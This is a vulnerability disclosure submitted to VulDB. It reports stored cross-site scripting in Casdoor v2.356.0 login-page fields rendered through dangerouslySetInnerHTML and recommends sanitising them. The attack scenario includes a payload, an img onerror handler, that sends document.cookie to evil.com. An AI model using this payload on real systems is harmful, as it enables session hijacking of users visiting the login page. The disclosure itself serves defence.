提交 #781770: Casdoor v2.356.0 Cross Site Scripting信息

标题Casdoor v2.356.0 Cross Site Scripting
描述Stored XSS via Application formCss / formSideHtml **Evidence:** ```javascript {inIframe() || isMobile() ? null : <div dangerouslySetInnerHTML={{__html: application.formCss}} />} {inIframe() || !isMobile() ? null : <div dangerouslySetInnerHTML={{__html: application.formCssMobile}} />} <div dangerouslySetInnerHTML={{__html: application.formSideHtml}} /> ``` The `formCss`, `formCssMobile`, and `formSideHtml` fields from the application object are rendered as raw HTML using `dangerouslySetInnerHTML`. If an organization admin (or anyone who can modify application settings) injects malicious JavaScript into these fields, it executes for every user who visits the login page. **Attack scenario:** An org admin sets `formSideHtml` to `<img src=x onerror="fetch('https://evil.com/steal?t='+document.cookie)">`. Every user visiting the login page has their session cookies exfiltrated. **Fix:** Sanitize these fields with a library like DOMPurify before rendering, or restrict them to a CSS-only subset by parsing and validating the content server-side. ---
用户
 Ghufran Khan (UID 95493)
提交2026-03-17 14時25分 (7 月前)
管理2026-04-03 09時26分 (17 days later)
状态已接受
VulDB条目355072 [Casdoor 2.356.0 dangerouslySetInnerHTML formCss/formCssMobile/formSideHtml 跨网站脚本]
积分17

Interested in the pricing of exploits?

See the underground prices here!